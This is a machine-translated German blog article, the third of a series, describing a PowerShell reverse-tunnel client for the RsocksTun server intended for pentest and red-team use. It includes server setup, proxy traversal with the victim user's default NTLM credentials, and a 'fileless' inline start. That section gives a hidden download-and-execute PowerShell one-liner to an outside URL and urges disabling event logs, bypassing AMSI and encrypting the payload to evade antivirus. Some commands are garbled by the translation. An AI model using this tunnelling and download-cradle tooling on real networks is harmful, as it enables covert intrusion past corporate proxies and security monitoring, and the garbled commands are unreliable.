Die Geschichte von Forschung und Entwicklung in 3 Teilen. Teil 3 ist praktisch.
Es gibt viele Buchen - noch mehr Vorteile
Frühere Artikel aus dem Zyklus finden Sie
hier und
hier =)
Battle Check
Lassen Sie uns nun die Funktionsweise unseres Skripts in der Praxis testen. Versuchen Sie dazu, den Reverse-Tunnel von der virtuellen Maschine (Windows 7.net 4.7) zum Linux VPS auf Digital Ocean zu werfen, und kehren Sie dann mit Win7 zu Win7 zurück. In diesem Fall simulieren wir eine Situation, in der Windows 7 der Computer des Kunden und Linux VPS unser Server ist.
Unter VPS (in unserem Fall Ubuntu 18.04) installieren und konfigurieren wir den Serverteil von RsocksTun:
- setze den golang: apt installiere golang
- nimm die Quellen von rsockstun aus der Gita:
Git-Klon github.com/mis-team/rsockstun.git / opt / rstun - Abhängigkeiten installieren:
Holen Sie sich github.com/hashicorp/yamux
Holen Sie sich github.com/armon/go-socks5
Holen Sie sich github.com/ThomsonReutersEikon/go-ntlm/ntlm - Kompilieren Sie gemäß dem Handbuch: cd / opt / rstun; Geh bauen
- SSL-Zertifikat generieren:
openssl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes - Wir starten den Serverteil:

- Wir starten unser Skript auf dem Client und geben ihm den zu verbindenden Server, den Port und das Passwort an:

- Verwenden Sie den erhöhten Port des Socks5-Servers, um zu mail.ru zu gelangen

Wie Sie den Screenshots entnehmen können, funktioniert unser Skript. Wir waren froh, errichteten uns geistig ein Denkmal und entschieden, dass alles perfekt war. Aber ...
Fehlerbehandlung
Aber nicht alles ist so glatt wie wir möchten ...
Während der Ausführung des Skripts wurde ein unangenehmer Moment festgestellt: Wenn das Skript über eine nicht sehr schnelle Verbindung zum Server funktioniert, kann der in der folgenden Abbildung gezeigte Fehler beim Übertragen großer Datenmengen auftreten

Nachdem wir diesen Fehler untersucht haben, stellen wir fest, dass wir beim Empfang einer Keepalive-Nachricht (während noch Daten an den Server übertragen werden) versuchen, gleichzeitig eine Antwort auf Keepalive auf den Socket zu schreiben, was einen Fehler verursacht.
Um die Situation zu korrigieren, müssen wir warten, bis die Datenübertragung abgeschlossen ist, und dann eine Antwort an keepalive senden. Hier kann jedoch ein anderes Problem auftreten: Wenn im Moment zwischen dem Senden eines 12-Byte-Headers und dem Senden von Daten eine Keepalive-Nachricht eintrifft, wird die Struktur des ymx-Pakets zerstört. Eine korrektere Lösung wäre daher die Übertragung aller Funktionen zum Senden von Daten in yamuxScript, das Ereignisse zum sequentiellen Senden verarbeitet, und es gibt keine solchen Situationen.
Um yamuxScript anzuweisen, Keepalive-Antworten zu senden, können wir gleichzeitig unseren gemeinsam genutzten ArrayList StopFlag [0] verwenden - der Nullindex wird nicht verwendet, da Die Nummerierung der Yamux-Streams beginnt mit 1. In diesem Index übergeben wir in yamuxScript den in der Keepalive-Nachricht empfangenen Ping-Wert. Standardmäßig ist der Wert -1, was bedeutet, dass keine Übertragung erforderlich ist. YamuxScript überprüft diesen Wert. Wenn er 0 (der erste Keepalive-Ping = 0) oder mehr ist, senden Sie den übergebenen Wert an die Keepalive-Antwort:
if ($StopFlag[0] -ge 0){ #got yamux keepalive. we have to reply $outbuf = [byte[]](0x00,0x02,0x00,0x02,0x00,0x00,0x00,0x00) + [bitconverter]::getbytes([int32]$StopFlag[0])[3..0] $state.tcpstream.Write($outbuf,0,12) $state.tcpstream.flush() $StopFlag[0] = -1 }
Wir sollten auch das Senden einer Antwort auf das YMX SYN-Flag im Hauptthread des Programms ausschließen.
Dazu müssen wir diese Funktionalität auch in yamuxScript übertragen. Da der yamux-Server jedoch keine Antwort an YMX SYN senden muss und sofort mit dem Senden von Daten beginnt, deaktivieren wir einfach das Senden dieses Pakets und fertig:
#$outbuf = [byte[]](0x00,0x01,0x00,0x02,$ymxstream[3],$ymxstream[2],$ymxstream[1],$ymxstream[0],0x00,0x00,0x00,0x00) #$tcpstream.Write($outbuf,0,12)
Danach funktioniert die Übertragung großer Datenmengen einwandfrei.
Proxy-Unterstützung
Lassen Sie uns nun darüber nachdenken, wie wir unseren Client dazu bringen können, über einen Proxyserver zu arbeiten.
Beginnen wir mit den Grundlagen. Theoretisch ist http-proxy (dh http-Proxys funktionieren in den meisten Unternehmensnetzwerken) so konzipiert, dass es mit dem HTTP-Protokoll funktioniert, und es scheint, dass http nicht nach unserem riecht. Aber in der Natur gibt es neben http auch https und Ihr Browser kann über reguläres http eine perfekte Verbindung zu https-Sites herstellen - richtig?
Der Grund dafür ist der spezielle Proxy-Server-Betriebsmodus - CONNECT-Modus. Wenn der Browser über einen Proxyserver über https eine Verbindung zum Google Mail-Server herstellen möchte, sendet er eine CONNECT-Anforderung an den Proxyserver, die den Host- und Zielport angibt.
CONNECT gmail.com:443 HTTP/1.1 Host: gmail.com:443 Proxy-Connection: Keep-Alive
Nach einer erfolgreichen Verbindung zum Google Mail-Server gibt der Proxy eine 200-OK-Antwort zurück.
HTTP/1.1 200 OK
Danach werden alle Daten vom Browser direkt an den Server übertragen und umgekehrt. In einfachen Worten, ein Proxy verbindet zwei Netzwerk-Sockets direkt miteinander - einen Browser-Socket und einen Google Mail-Server-Socket. Danach stellt der Browser eine SSL-Verbindung zum Google Mail-Server her und arbeitet direkt damit.
Wenn wir das oben Genannte an unseren Client übertragen, müssen wir zuerst eine Verbindung mit dem Proxyserver herstellen, ein http-Paket senden, das die CONNECT-Methode und die Adresse unseres Yamux-Servers angibt, auf eine Antwort mit Code 200 warten und dann eine SSL-Verbindung herstellen.
Grundsätzlich gibt es nichts besonders Kompliziertes. Auf diese Weise wird der Verbindungsmechanismus über den Proxyserver im Golang-Client rsockstun implementiert.
Die Hauptschwierigkeiten beginnen, wenn der Proxyserver beim Herstellen einer Verbindung eine NTLM- oder Kerberos-Autorisierung benötigt.
In diesem Fall gibt der Proxyserver den 407-Code und den ntlm-http-Header als base64-Zeichenfolge zurück
HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: NTLM TlRMTVNTUAACAAAAAAAAADgAAABVgphianXk2614u2AAAAAAAAAAAKIAogA4AAAABQEoCgAAAA8CAA4AUgBFAFUAVABFAFIAUwABABwAVQBLAEIAUAAtAEMAQgBUAFIATQBGAEUAMAA2AAQAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQAAwA0AHUAawBiAHAALQBjAGIAdAByAG0AZgBlADAANgAuAFIAZQB1AHQAZQByAHMALgBuAGUAdAAFABYAUgBlAHUAdABlAHIAcwAuAG4AZQB0AAAAAAA= Date: Tue, 28 May 2019 14:06:15 GMT Content-Length: 0
Für eine erfolgreiche Autorisierung müssen wir diese Zeile dekodieren und Parameter daraus entfernen (z. B. ntlm-Challenge, Domainname). Dann müssen wir unter Verwendung dieser Daten sowie des Benutzernamens und seines ntlm-Hashs eine ntlm-Antwort generieren, sie zurück an base64 codieren und an den Proxyserver zurücksenden.
CONNECT mail.com:443 HTTP/1.1 Host: mail.com:443 Proxy-Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHoAAAA6AToBkgAAAAwADABYAAAACAAIAGQAAAAOAA4AbAAAAAAAAADMAQAABYKIIgYBsR0AAAAPnHZSXCGeU7zoq64cDFENAGQAbwBtAGEAaQBuAHUAcwBlAHIAVQBTAEUAUgAtAFAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABuxncy1yDsSypAauO/N1TfAQEAAAAAAAAXKmWDXhXVAag3UE8RsOGCAAAAAAIADgBSAEUAVQBUAEUAUgBTAAEAHABVAEsAQgBQAC0AQwBCAFQAUgBNAEYARQAwADYABAAWAFIAZQB1AHQAZQByAHMALgBuAGUAdAADADQAdQBrAGIAcAAtAGMAYgB0AHIAbQBmAGUAMAA2AC4AUgBlAHUAdABlAHIAcwAuAG4AZQB0AAUAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQACAAwADAAAAAAAAAAAAAAAAAwAAA2+UpsHCJmpIGttOj1VN+5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA== User-Agent: curl/7.64.1 Accept: */* Proxy-Connection: Keep-Alive
+ UpsHCJmpIGttOj1VN + 5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA == CONNECT mail.com:443 HTTP/1.1 Host: mail.com:443 Proxy-Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHoAAAA6AToBkgAAAAwADABYAAAACAAIAGQAAAAOAA4AbAAAAAAAAADMAQAABYKIIgYBsR0AAAAPnHZSXCGeU7zoq64cDFENAGQAbwBtAGEAaQBuAHUAcwBlAHIAVQBTAEUAUgAtAFAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABuxncy1yDsSypAauO/N1TfAQEAAAAAAAAXKmWDXhXVAag3UE8RsOGCAAAAAAIADgBSAEUAVQBUAEUAUgBTAAEAHABVAEsAQgBQAC0AQwBCAFQAUgBNAEYARQAwADYABAAWAFIAZQB1AHQAZQByAHMALgBuAGUAdAADADQAdQBrAGIAcAAtAGMAYgB0AHIAbQBmAGUAMAA2AC4AUgBlAHUAdABlAHIAcwAuAG4AZQB0AAUAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQACAAwADAAAAAAAAAAAAAAAAAwAAA2+UpsHCJmpIGttOj1VN+5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA== User-Agent: curl/7.64.1 Accept: */* Proxy-Connection: Keep-Alive
Das ist aber nicht so schlimm. Tatsache ist, dass wir beim Ausführen des Skripts weder den Namen des aktuellen Benutzers noch seinen ntlm-Kennwort-Hash kennen. Für die Autorisierung auf dem Proxyserver müssen wir daher den Benutzernamen / Pass von einem anderen Ort herausfinden.
Theoretisch können wir diese Funktionalität in einem Skript implementieren (angefangen beim manuellen Festlegen von Authentifizierungsparametern wie im GoLang-Client bis hin zur Verwendung eines LSASS-Prozessspeicherauszugs wie im Mimikatz), aber dann wird unser Skript insbesondere zu einer unglaublichen Größe und Komplexität dass diese Themen den Rahmen dieses Artikels sprengen.
Wir dachten und beschlossen, dass wir den anderen Weg gehen würden ...
Anstatt die Autorisierung manuell durchzuführen, verwenden wir die integrierte Funktionalität für die Arbeit mit einem Proxyserver der HTTPWebRequest-Klasse. In diesem Fall müssen wir jedoch den Code unseres RsocksTun-Servers ändern. Wenn er eine Anforderung vom Client empfängt, erwartet er schließlich nur eine Zeichenfolge mit einem Kennwort und eine vollständige HTTP-Anforderung. Im Prinzip ist das Ändern der Serverseite von rsoskstun nicht so schwierig. Es muss nur entschieden werden, in welchem Teil der http-Anfrage wir das Passwort übertragen (zum Beispiel der XAuth-http-Header) und die Funktionalität der Verarbeitung der http-Anfrage implementieren, unseren Header mit einem Passwort überprüfen und eine http-Rückantwort senden (200 OK). Wir haben diese Funktionalität einem separaten Zweig des RSocksTun-Projekts hinzugefügt.
Nachdem Sie den Golang-Teil von RSocksTun (Server und Client) geändert haben, werden wir unserem Skript die Funktionalität der Arbeit mit einem Proxyserver hinzufügen. Der einfachste Code für die HttpWebRequest-Klasse zum Herstellen einer Verbindung zu einem Webserver über einen Proxy sieht folgendermaßen aus:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $request = [System.Net.HttpWebRequest]::Create("https://gmail.com:443") $request.Method = "GET" $request.Headers.Add("Xauth","password") $proxy = new-object system.net.webproxy('http://127.0.0.1:8080'); $proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials $request.Proxy = $proxy try {$serverResponse = $request.GetResponse()} catch {write-host "Can not connect"; exit}
In diesem Fall erstellen wir eine Instanz der HttpWebRequest-Klasse, legen die Eigenschaften Proxy und Anmeldeinformationen fest und fügen den benutzerdefinierten XAuth-http-Header hinzu. Dementsprechend wird unsere Anfrage an Google-Server über den Proxyserver 127.0.0.1:8080 gesendet. Wenn der Proxy eine Autorisierung anfordert, "nimmt" Windows selbst die Credits des aktuellen Benutzers auf und fügt die entsprechenden http-Header ein.
Anstatt einen Proxyserver manuell anzugeben, können wir die Systemeinstellungen des Proxyservers verwenden:
$proxy = [System.Net.WebRequest]::GetSystemWebProxy()
Nachdem wir uns über einen Proxyserver mit unserem rsockstun-Server verbunden und eine HTTP-Antwort mit Code 200 erhalten haben, müssen wir einen kleinen Trick ausführen, nämlich von der HTTPWebRequest-Klasse ein Stream-Objekt zum Lesen / Schreiben wie $ tcpConnection.getStream abrufen (). Wir tun dies über den .Net Reflection Inspection-Mechanismus (für diejenigen, die diesen Mechanismus genauer verstehen möchten, teilen Sie den
Link ). Dadurch können wir auf die Methoden und Eigenschaften der zugrunde liegenden Klassen zugreifen:
#--------------------------------------------------------------------------------- # Reflection inspection to retrieve and reuse the underlying networkStream instance $responseStream = $serverResponse.GetResponseStream() $BindingFlags= [Reflection.BindingFlags] "NonPublic,Instance" $rsType = $responseStream.GetType() $connectionProperty = $rsType.GetProperty("Connection", $BindingFlags) $connection = $connectionProperty.GetValue($responseStream, $null) $connectionType = $connection.GetType() $networkStreamProperty = $connectionType.GetProperty("NetworkStream", $BindingFlags) $tcpStream = $networkStreamProperty.GetValue($connection, $null)
Somit haben wir den gleichen Socket-Stream erhalten, der vom Proxyserver mit unserem Yamux-Server verbunden ist und mit dem wir Lese- / Schreibvorgänge ausführen können.
Ein weiterer Punkt, den wir berücksichtigen müssen, ist der Mechanismus zur Überwachung des Verbindungsstatus. Da wir über den Proxyserver und die HTTPWebRequest-Klasse arbeiten, verfügen wir nicht über die Eigenschaft $ tcpConnection.Connected und müssen den Verbindungsstatus auf irgendeine Weise überwachen. Wir können dies über ein separates $ connect-Flag tun. Es wird nach dem Empfang des 200-Codes vom Proxyserver auf $ true gesetzt und auf $ false zurückgesetzt, wenn beim Lesen aus dem Socket-Stream eine Ausnahme auftritt:
try { $num = $tcpStream.Read($tmpbuffer,0,12) } catch {$connected=$false; break;} if ($num -eq 0 ) {$connected=$false; break;}
Ansonsten bleibt unser Code unverändert.
Inline-Start
In der Regel führen alle vernünftigen Benutzer ähnliche Skripte aus PS1-Dateien aus, aber manchmal (und tatsächlich - fast immer) während des Pentest- / Redtime-Prozesses müssen Module über die Befehlszeile ausgeführt werden, ohne etwas auf die Festplatte zu schreiben, um keine Spuren zu hinterlassen . Darüber hinaus können Sie mit Powershell dies über die Befehlszeile tun:
powershell.exe –c <powershell code> powershell.exe –e <base64 powershell code>
Man sollte sich jedoch nicht wirklich in Bezug auf die Geheimhaltung des Startens und Ausführens von Befehlen entspannen. Zum einen wird der gesamte Powershell-Code mit Standard-Windows-Tools in den entsprechenden Ereignisprotokollen (Windows PowerShell und Microsoft-Windows-PowerShell / Operational) protokolliert, und zum anderen wird der gesamte in Powershell ausgeführte Code über den AMSI-Mechanismus ( Anti-Malware-Scan-Schnittstelle). Eine andere Sache ist, dass diese beiden Mechanismen bei unkomplizierten Aktionen absolut kostspielig sind. Das Deaktivieren von Magazinen und das Umgehen von AMSI ist ein separates Diskussionsthema, über das wir in zukünftigen Artikeln oder in unserem Kanal schreiben werden. Aber jetzt ein bisschen über etwas anderes.
Tatsache ist, dass unser Skript eine ziemlich beeindruckende Größe erreicht hat und es klar ist, dass es in keine Befehlszeile passt (cmd-Limit in Windows beträgt 8191 Zeichen). Daher müssen wir eine Möglichkeit finden, unser Skript auszuführen, ohne es auf die Festplatte zu schreiben. Und hier helfen uns die von Malware verwendeten Standardmethoden seit fast 15 Jahren. Kurz gesagt, die Regel ist einfach - herunterladen und ausführen. Die Hauptsache ist, es nicht zu verwechseln =)
Der Befehl zum Herunterladen und Starten sieht folgendermaßen aus:
powershell.exe –w hidden -c "IEX ((new-object net.webclient).downloadstring('http://url.com/script.ps1'))"
Sie können noch mehr Inline-
Startoptionen auf dem
HarmJ0y 'I' s
Git finden :
Vor dem Herunterladen müssen Sie natürlich die Protokolle deaktivieren und AMSI umgehen oder deaktivieren. Das Skript selbst muss vor dem Herunterladen verschlüsselt werden, weil Während des Download-Vorgangs wird es natürlich von Ihrem (oder nicht Ihrem =) Antivirenprogramm auf und ab überprüft und vor dem Start entsprechend entschlüsselt. Wie das geht - Sie, der Leser, sollten es sich schon selbst einfallen lassen. Dies würde den Rahmen dieses Themas sprengen. Aber wir kennen einen coolen Spezialisten in dieser Angelegenheit - den allmächtigen Google. Es gibt zahlreiche Beispiele für die Ver- und Entschlüsselung im Netzwerk sowie Beispiele für die Umgehung von AMSI.
Fazit zu allen Teilen
Dabei haben wir den Leser in die Technologie der „Umkehrtunnel“ und deren Verwendung für Pentests eingeführt, einige Beispiele für solche Tunnel gezeigt und über die Vor- und Nachteile ihrer Verwendung gesprochen.
Es ist uns auch gelungen, einen Powershell-Client für den RsocksTun-Server mit den folgenden Funktionen zu erstellen:
- SSL-Verbindungen
- Autorisierung auf dem Server;
- Arbeit mit Yamux-Server mit Unterstützung für Keepalive-Pings;
- Multithread-Betriebsart;
- Unterstützung der Arbeit über einen Proxy-Server mit Autorisierung.
Sie finden den gesamten rsockstun-Code (Golang und Powershell) im entsprechenden Zweig
auf unserem Github. Der Hauptzweig funktioniert ohne Proxyserver, und der Zweig via_proxy funktioniert über Proxys und HTTP.
Wir freuen uns über Ihre Kommentare und Vorschläge zur Verbesserung des Codes und der Anwendbarkeit der Entwicklung in der Praxis.
Damit ist der Zyklus unserer Artikel zum umgekehrten Tunneln abgeschlossen. Wir hoffen sehr, dass Sie daran interessiert sind, uns zu lesen, und die Informationen sind nützlich.